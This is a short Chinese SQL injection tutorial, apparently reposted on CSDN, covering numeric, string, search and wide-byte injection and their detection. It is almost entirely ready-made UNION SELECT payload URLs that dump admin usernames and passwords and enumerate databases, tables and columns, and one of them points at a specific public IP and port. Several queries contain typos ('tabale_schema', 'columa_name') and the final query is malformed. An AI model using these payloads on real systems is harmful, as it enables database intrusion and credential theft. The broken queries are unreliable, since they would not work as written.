SQL注入的各种类型的检测方式

本文介绍SQL注入的不同类型及其检测方式,包括数字型、字符型、搜索型和宽字节型等,并提供联合查询的具体示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#SQL注入各个类型检测方式

http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型

数字型不用特意加字符,直接 and1=2检测是否有注入点;

http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin  --+  字符型

字符型需要在'xx--+ 中间输入命令,' and 1=2 --+ 检测是否有注入点;

http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+  搜索型

搜索型需要在 %'xx --+ 中间输入命令,%' and 1=2 --+ 检测是否有注入点;

http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查询数据库 

宽字节型需要在 %df%27 xx %23中间输入命令,%df%27 and 1=2 %23 检测是否有注入点,查询列表值得时候’‘要用 0x十六进值 代替;


联合查询数据库名,表名,列值,内容方式:

查询数据库

http://xxxxxx? union select null,schema_name,null from information_schema.schemata

查询当前数据库:

http://xxxxxx? union select 1,database(),null 

查询当前版本信息:

http://xxxxxx? union select 1,user,@@version,null 

查询数据表:

http://xxxxxx? union select null,table_name,null from information_schema.tables where table_schema='xxx' 

查询数据字段:

http://xxxxxx? union select null,group_concat(column_name),null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'

查询详细信息:

http://xxxxxx? union select null,column_name,null from schema_name.columa_name

转载于:https://www.cnblogs.com/qzgsg/p/7242252.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值